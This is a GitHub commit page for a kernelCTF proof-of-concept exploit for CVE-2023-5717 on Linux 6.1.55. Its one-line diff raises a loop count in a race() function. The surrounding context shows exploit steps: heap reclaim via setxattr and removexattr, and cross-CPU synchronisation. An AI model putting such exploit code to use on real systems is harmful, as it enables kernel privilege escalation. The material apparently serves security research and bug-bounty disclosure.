Skip to content

Commit 3d7af0d

Browse files
committed
FIx iteration
1 parent d95ee06 commit 3d7af0d

File tree

2 files changed

+1
-1
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+1
-1
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -332,7 +332,7 @@ void race(int group_leader, int timer) { // caller must have ownership of the gr
332332
write(pipefd[1], buffer, 1); // sync point A
333333
remove_xattr("security.x12296_10", 1);
334334
// x10 reclaimed by CPU_B is now released on CPU_A
335-
for (int _=0; _<1; _++)
335+
for (int _=0; _<32; _++)
336336
read(group_leader, buf, sizeof(buf));
337337
remove_xattr("security.ssiphim", 1);
338338
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {

0 commit comments

Comments
 (0)